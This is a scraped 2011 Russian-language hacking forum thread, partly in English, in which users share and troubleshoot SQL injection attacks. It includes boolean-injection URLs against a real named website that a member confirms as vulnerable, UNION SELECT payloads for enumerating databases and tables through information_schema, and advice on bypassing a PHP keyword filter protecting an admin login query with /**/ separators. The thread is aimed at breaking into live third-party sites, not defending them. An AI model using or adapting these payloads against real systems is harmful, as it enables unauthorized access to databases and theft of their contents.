03.12.2011, 02:51
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от shadowrun
Колонок столько. Это сообщение выводиться в теле сайта, который загрузился (с контентом). А когда число колонок не подходит, сайт не загружается а только эррор маскуеля (на белом фоне черный текст ошибки).
Там несколько последующих запросов просто.
Выводи в ошибке, или же ищи вывод первого запроса.
|
|
|
03.12.2011, 08:37
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от lightangel
Is this really vulnerable?
Код:
http://www.gomlab.com/eng/forum.html?mode=announceView&a=125%27&no=
I've tried all attempts on it.
Код:
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=1 TRUE
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=2 FALSE
Yes, this is vulnerable
|
|
|
|
03.12.2011, 13:38
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Sure. Well the problem is, I can't get order by or group by.
Can you just help a bit further?
|
|
|
|
03.12.2011, 13:44
|
|
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
С нами:
8784803
Репутация:
257
|
|
Сообщение от lightangel
Sure. Well the problem is, I can't get order by or group by.
Can you just help a bit further?
Yes, we can help if you write the url, where you "can't get order by or group by"
|
|
|
|
03.12.2011, 13:53
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Thanks sir.
Код:
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=1 TRUE
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=2 FALSE
I tried http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=1(ord er by and string based= nothing works)
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=2 FALSE(order by and string based= nothing works)
Any help now? Thanks. |
|
|
|
03.12.2011, 14:12
|
|
Участник форума
Регистрация: 02.09.2009
Сообщений: 286
С нами:
8784803
Репутация:
257
|
|
Сообщение от lightangel
Thanks sir.
Код:
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=1 TRUE
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=2 FALSE
I tried http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=1(ord er by and string based= nothing works)
http://www.gomlab.com/eng/forum.html?mode=announceView&no=&a=125+and+1=2 FALSE(order by and string based= nothing works)
Any help now? Thanks.
|
|
|
|
03.12.2011, 14:17
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
Well received, thank you.
|
|
|
|
03.12.2011, 17:59
|
|
Новичок
Регистрация: 29.05.2008
Сообщений: 11
С нами:
9447607
Репутация:
10
|
|
подскажите, вот есть запрос:
Сообщение от None
+union+select+1,table_name,3+from+information_sche ma.tables
показывает имена всех таблиц.
такой запрос:
Сообщение от None
+union+select+1,table_schema,3+from+information_sc hema.tables+where+table_name=0x0000
покажет имена баз данных в которых есть таблица с именем 0х0000?
ок, например после последнего запроса вывелось несколько имён баз данных. как получить имена таблиц из каждой по отдельности? |
|
|
|
03.12.2011, 18:05
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от Goodwin_
подскажите, вот есть запрос:
показывает имена всех таблиц.
такой запрос:
покажет имена баз данных в которых есть таблица с именем 0х0000?
ок, например после последнего запроса вывелось несколько имён баз данных. как получить имена таблиц из каждой по отдельности?
where table name='имя таблицы' and table_schema='имя_базы'
пора уже взятся за учебник SQL..
|
|
|
|
03.12.2011, 19:31
|
|
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
С нами:
7604246
Репутация:
55
|
|
Есть такой вот фильтр
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]] = array([/COLOR][COLOR="#DD0000"]"select"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"delete"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"union"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"update"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"insert"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\\"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]","[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"-"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"%20"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"%27"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"`"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"="[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"%"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$op[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) );
[/COLOR][/COLOR]
И есть запрос в бд в котором он обрабатывает объект
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]Query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM admin WHERE login='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]adm_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Обойти select,union можно пробелом внутри, в качестве разделителя /**/, запятые тоже не проблема. Не получается обойти кавычку, можно ли как то обойти это не пользуясь уязвимостями с мультибатовыми кодировками ? Ибо сменить ее нет возможности, может у кого есть другое решение... |
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Комбинированный вид
